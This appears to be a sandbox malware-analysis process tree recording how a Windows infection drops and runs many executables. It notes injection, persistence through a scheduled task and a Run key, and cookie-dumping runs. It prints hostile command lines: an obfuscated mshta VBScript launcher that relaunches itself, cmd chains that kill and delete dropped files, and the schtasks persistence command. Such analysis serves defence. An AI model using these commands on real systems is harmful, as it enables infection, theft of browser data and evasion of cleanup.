C:\Windows\SysWOW64\timeout.exetimeout /t 68⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Users\Admin\Documents\k7J6IwuP2boLb7UjbN8PRSuh.exe"C:\Users\Admin\Documents\k7J6IwuP2boLb7UjbN8PRSuh.exe"6⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Browzar\MrGh6bEH0L0a.exe"C:\Program Files (x86)\Browzar\MrGh6bEH0L0a.exe"7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Program Files (x86)\Browzar\MrGh6bEH0L0a.exe"C:\Program Files (x86)\Browzar\MrGh6bEH0L0a.exe"8⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
-
-
C:\Program Files (x86)\Browzar\Browzar.exe"C:\Program Files (x86)\Browzar\Browzar.exe"7⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3876 -s 27528⤵
- Program crash
-
-
-
-
C:\Users\Admin\Documents\DwWykW183aeAvVfpw5QqTYgL.exe"C:\Users\Admin\Documents\DwWykW183aeAvVfpw5QqTYgL.exe"6⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Company\NewProduct\file4.exe"C:\Program Files (x86)\Company\NewProduct\file4.exe"7⤵
-
-
C:\Program Files (x86)\Company\NewProduct\jingzhang.exe"C:\Program Files (x86)\Company\NewProduct\jingzhang.exe"7⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Windows\SysWOW64\rUNdlL32.eXe"C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\install.dll",shl8⤵
- Loads dropped DLL
-
-
-
C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"7⤵
- Executes dropped EXE
- Checks whether UAC is enabled
-
-
C:\Program Files (x86)\Company\NewProduct\jooyu.exe"C:\Program Files (x86)\Company\NewProduct\jooyu.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt8⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt8⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt8⤵
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt8⤵
-
-
-
-
C:\Users\Admin\Documents\ypYDB0vdoDVBp7hsRzifyKGQ.exe"C:\Users\Admin\Documents\ypYDB0vdoDVBp7hsRzifyKGQ.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\ypYDB0vdoDVBp7hsRzifyKGQ.exe"C:\Users\Admin\Documents\ypYDB0vdoDVBp7hsRzifyKGQ.exe"7⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5072 -s 7607⤵
- Program crash
-
-
-
C:\Users\Admin\Documents\1ZEZmKpZvb1tt3sffeQxkrs7.exe"C:\Users\Admin\Documents\1ZEZmKpZvb1tt3sffeQxkrs7.exe"6⤵
- Executes dropped EXE
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --hold https://ezsearch.ru7⤵
- Loads dropped DLL
- Enumerates system info in registry
- Suspicious use of FindShellTrayWindow
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xd4,0xd8,0xdc,0xb0,0xe0,0x7ffa3b474f50,0x7ffa3b474f60,0x7ffa3b474f708⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1788 /prefetch:28⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1840 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1896 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2868 /prefetch:18⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2860 /prefetch:18⤵
- Executes dropped EXE
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3384 /prefetch:18⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3824 /prefetch:18⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3696 /prefetch:18⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3532 /prefetch:18⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4744 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5604 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3344 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5732 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3520 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5940 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5928 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4168 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5604 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5548 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --channel --force-configure-user-settings8⤵
-
C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x23c,0x240,0x244,0x218,0x248,0x7ff75d95a890,0x7ff75d95a8a0,0x7ff75d95a8b09⤵
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5436 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3572 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3448 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3476 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3444 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5644 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5596 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5140 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6360 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6228 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5380 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4736 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5484 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5188 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5516 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3772 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3740 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3748 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3788 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4052 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5888 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5608 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3388 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5348 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2820 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3548 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5400 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5188 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=724 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5512 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1776,14353326211322521267,6791430089825010929,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3620 /prefetch:88⤵
-
-
-
-
-
-
-
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Modifies registry class
-
-
C:\Users\Admin\AppData\Local\Temp\25D.exeC:\Users\Admin\AppData\Local\Temp\25D.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im 25D.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\25D.exe" & del C:\ProgramData\*.dll & exit2⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im 25D.exe /f3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 63⤵
- Delays execution with timeout.exe
-
-
-
C:\Windows\system32\rUNdlL32.eXerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main2⤵
- Loads dropped DLL
-
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
- Modifies data under HKEY_USERS
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
-
C:\Users\Admin\AppData\Local\Temp\335C.exeC:\Users\Admin\AppData\Local\Temp\335C.exe1⤵
- Executes dropped EXE
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 1 /tn "Videocard Service" /tr "C:\Users\Admin\AppData\Local\Temp\335C.exe" /f2⤵
- Creates scheduled task(s)
-
-
C:\Users\Admin\AppData\Local\Temp\3745.exeC:\Users\Admin\AppData\Local\Temp\3745.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\3C96.exeC:\Users\Admin\AppData\Local\Temp\3C96.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\4590.exeC:\Users\Admin\AppData\Local\Temp\4590.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\DFFC.exeC:\Users\Admin\AppData\Local\Temp\DFFC.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im DFFC.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\DFFC.exe" & del C:\ProgramData\*.dll & exit2⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im DFFC.exe /f3⤵
- Kills process with taskkill
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
- Drops file in Drivers directory
- Adds Run key to start application
-
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 63⤵
- Delays execution with timeout.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\E3F5.exeC:\Users\Admin\AppData\Local\Temp\E3F5.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCRIPt: Close ( CREATeObjECT( "wsCRIpT.ShElL" ). RUn ( "cmd.exe /Q /c tyPE ""C:\Users\Admin\AppData\Local\Temp\E3F5.exe"" > wiZC_h7~B.eXE && STaRT wIZC_h7~B.eXe /PgRbPZTUXQ3fqTxJ5RJVzdoK5t & If """" == """" for %E in ( ""C:\Users\Admin\AppData\Local\Temp\E3F5.exe"" ) do taskkill /Im ""%~nxE"" -F " , 0 , TRue ) )2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /c tyPE "C:\Users\Admin\AppData\Local\Temp\E3F5.exe" > wiZC_h7~B.eXE && STaRT wIZC_h7~B.eXe /PgRbPZTUXQ3fqTxJ5RJVzdoK5t & If "" == "" for %E in ( "C:\Users\Admin\AppData\Local\Temp\E3F5.exe" ) do taskkill /Im "%~nxE" -F3⤵
-
C:\Users\Admin\AppData\Local\Temp\wiZC_h7~B.eXEwIZC_h7~B.eXe /PgRbPZTUXQ3fqTxJ5RJVzdoK5t4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCRIPt: Close ( CREATeObjECT( "wsCRIpT.ShElL" ). RUn ( "cmd.exe /Q /c tyPE ""C:\Users\Admin\AppData\Local\Temp\wiZC_h7~B.eXE"" > wiZC_h7~B.eXE && STaRT wIZC_h7~B.eXe /PgRbPZTUXQ3fqTxJ5RJVzdoK5t & If ""/PgRbPZTUXQ3fqTxJ5RJVzdoK5t "" == """" for %E in ( ""C:\Users\Admin\AppData\Local\Temp\wiZC_h7~B.eXE"" ) do taskkill /Im ""%~nxE"" -F " , 0 , TRue ) )5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /c tyPE "C:\Users\Admin\AppData\Local\Temp\wiZC_h7~B.eXE" > wiZC_h7~B.eXE && STaRT wIZC_h7~B.eXe /PgRbPZTUXQ3fqTxJ5RJVzdoK5t & If "/PgRbPZTUXQ3fqTxJ5RJVzdoK5t " == "" for %E in ( "C:\Users\Admin\AppData\Local\Temp\wiZC_h7~B.eXE" ) do taskkill /Im "%~nxE" -F6⤵
-
-
-
